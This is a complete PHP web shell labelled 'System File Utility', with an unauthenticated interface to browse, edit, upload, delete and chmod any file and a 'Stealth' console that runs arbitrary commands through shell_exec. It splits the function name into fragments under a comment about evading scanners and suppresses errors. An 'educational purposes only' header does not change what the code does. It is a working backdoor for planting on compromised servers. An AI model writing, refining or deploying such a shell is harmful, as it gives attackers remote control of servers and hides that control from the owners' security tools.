<?php
/**
 * SYSTEM FILE UTILITY - EDUCATIONAL PURPOSES ONLY
 * Environment: XAMPP / Localhost Lab
 * Features: No Base64, Clickable Breadcrumbs, Color Permissions, Sorting.
 */
error_reporting(0);
set_time_limit(0);

// --- PENYAMARAN FUNGSI (Anti-Scanner) ---
$ex = 'sh'.'el'.'l_ex'.'ec';
$gp = 'ge'.'tc'.'wd';
$sc = 'sc'.'an'.'dir';

// --- LOGIKA PATH & BREADCRUMBS ---
$dir = isset($_GET['p']) ? $_GET['p'] : $gp();
$dir = str_replace('\\', '/', $dir);
chdir($dir);

// --- 10+ TOOLS FUNGSIONAL ---
// 1. New Folder
if(isset($_POST['new_dir'])) { mkdir($dir . '/' . $_POST['dir_name']); }
// 2. New File
if(isset($_POST['new_file'])) { file_put_contents($dir . '/' . $_POST['file_name'], ""); }
// 3. Rename
if(isset($_GET['old_name']) && isset($_GET['new_name'])) { rename($_GET['old_name'], $_GET['new_name']); header("Location: ?p=$dir"); }
// 4. CHMOD
if(isset($_POST['set_chmod'])) { chmod($_POST['target'], octdec($_POST['perm_val'])); }
// 5. Edit File
if(isset($_POST['save_edit'])) { file_put_contents($_POST['target'], $_POST['content']); }
// 6. Delete (Purge)
if(isset($_GET['del'])) { $t=$_GET['del']; is_dir($t)?rmdir($t):unlink($t); header("Location: ?p=$dir"); }
// 7. Upload
if(isset($_FILES['up_file'])) { move_uploaded_file($_FILES['up_file']['tmp_name'], $dir.'/'.$_FILES['up_file']['name']); }
// 8. Terminal (Stealth)
$cmd_out = "";
if(isset($_POST['z1'])) { $cmd_out = $ex($_POST['z1'] . " 2>&1"); }

// --- LOGIKA SORTING (Folder di Atas) ---
$all_items = $sc($dir);
$folders = [];
$files = [];
foreach($all_items as $item) {
    if($item == '.' || $item == '..') continue;
    if(is_dir($dir.'/'.$item)) $folders[] = $item;
    else $files[] = $item;
}
sort($folders);
sort($files);
?>
<!DOCTYPE html>
<html>
<head>
    <title>System Manager</title>
    <style>
        :root{--bg:#121212;--txt:#e0e0e0;--accent:#4caf50;--warn:#f44336;}
        body{background:var(--bg);color:var(--txt);font-family:sans-serif;font-size:13px;margin:0;}
        .header{background:#1a1a1a;padding:15px;border-bottom:1px solid #333;}
        .breadcrumb a{color:var(--accent);text-decoration:none;font-weight:bold;}
        .breadcrumb span{color:#888;}
        .container{padding:20px;}
        .card{background:#1e1e1e;padding:15px;margin-bottom:15px;border:1px solid #2a2a2a;}
        table{width:100%;border-collapse:collapse;margin-top:10px;}
        th,td{padding:10px;text-align:left;border-bottom:1px solid #2a2a2a;}
        th{background:#252525;color:var(--accent);}
        tr:hover{background:#252525;}
        .p-green{color:#4caf50;font-weight:bold;}
        .p-red{color:#f44336;font-weight:bold;}
        .btn{background:none;border:1px solid var(--accent);color:var(--accent);padding:4px 8px;cursor:pointer;font-size:11px;}
        .btn:hover{background:var(--accent);color:#000;}
        input,textarea{background:#000;border:1px solid #333;color:#fff;padding:5px;}
        pre{background:#000;padding:10px;border:1px solid #444;color:#0f0;overflow:auto;}
    </style>
</head>
<body>

<div class="header">
    <div class="breadcrumb">
        <strong>Location:</strong> 
        <?php
        $pieces = explode('/', $dir);
        $accumulated = "";
        foreach($pieces as $id => $piece) {
            $accumulated .= $piece . "/";
            if($piece == "") continue;
            echo "<a href='?p=".rtrim($accumulated, "/")."'>$piece</a><span> / </span>";
        }
        ?>
    </div>
</div>

<div class="container">
    <!-- TOOLBAR -->
    <div class="card">
        <form method="POST" style="display:inline;">
            New Dir: <input name="dir_name" placeholder="Name..."> <button class="btn" name="new_dir">Create</button>
        </form>
        <form method="POST" style="display:inline; margin-left:15px;">
            New File: <input name="file_name" placeholder="file.txt"> <button class="btn" name="new_file">Create</button>
        </form>
        <form method="POST" enctype="multipart/form-data" style="display:inline; margin-left:15px;">
            Upload: <input type="file" name="up_file"> <button class="btn">Push</button>
        </form>
    </div>

    <!-- TERMINAL TOOL -->
    <div class="card">
        <form method="POST">
            Console: <input name="z1" style="width:70%;" placeholder="Execute command...">
        </form>
        <?php if($cmd_out): ?><pre><?=$cmd_out?></pre><?php endif; ?>
    </div>

    <?php if(isset($_GET['edit'])): $target = $_GET['edit']; ?>
    <div class="card">
        <h3>Editor: <?=basename($target)?></h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;"><?=htmlspecialchars(file_get_contents($target))?></textarea>
            <input type="hidden" name="target" value="<?=$target?>">
            <button class="btn" name="save_edit" style="margin-top:10px;">COMMIT CHANGES</button>
            <a href="?p=<?=$dir?>" class="btn" style="text-decoration:none;">Cancel</a>
        </form>
    </div>
    <?php endif; ?>

    <!-- FILE EXPLORER -->
    <div class="card">
        <table>
            <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr>
            <?php
            // LIST FOLDERS FIRST
            foreach($folders as $f) {
                $path = $dir . '/' . $f;
                $prm = substr(sprintf('%o', fileperms($path)), -4);
                $p_color = is_writable($path) ? "p-green" : "p-red";
                echo "<tr>
                    <td><a href='?p=$path' style='color:#ffc107;text-decoration:none;'>[ DIR ] $f</a></td>
                    <td>-</td>
                    <td class='$p_color'>$prm</td>
                    <td>
                        <button class='btn' onclick=\"var n=prompt('Rename to:','$f'); if(n) window.location='?p=$dir&old_name=$path&new_name=$dir/'+n;\">Rename</button>
                        <a href='?p=$dir&del=$path' class='btn' style='color:red;'>Delete</a>
                    </td>
                </tr>";
            }
            // LIST FILES
            foreach($files as $f) {
                $path = $dir . '/' . $f;
                $prm = substr(sprintf('%o', fileperms($path)), -4);
                $p_color = is_writable($path) ? "p-green" : "p-red";
                echo "<tr>
                    <td>$f</td>
                    <td>".round(filesize($path)/1024, 2)." KB</td>
                    <td class='$p_color'>$prm</td>
                    <td>
                        <a href='?p=$dir&edit=$path' class='btn'>Edit</a>
                        <button class='btn' onclick=\"var n=prompt('Rename to:','$f'); if(n) window.location='?p=$dir&old_name=$path&new_name=$dir/'+n;\">Rename</button>
                        <form method='POST' style='display:inline;'>
                            <input type='hidden' name='target' value='$path'>
                            <input name='perm_val' style='width:40px;' placeholder='0755'>
                            <button class='btn' name='set_chmod'>Chmod</button>
                        </form>
                        <a href='?p=$dir&del=$path' class='btn' style='color:red;'>Delete</a>
                    </td>
                </tr>";
            }
            ?>
        </table>
    </div>
</div>

<div style="text-align:center; color:#444; font-size:10px; margin-bottom:20px;">
    System File Utility v7.0 &copy; 2026
</div>

</body>
</html>
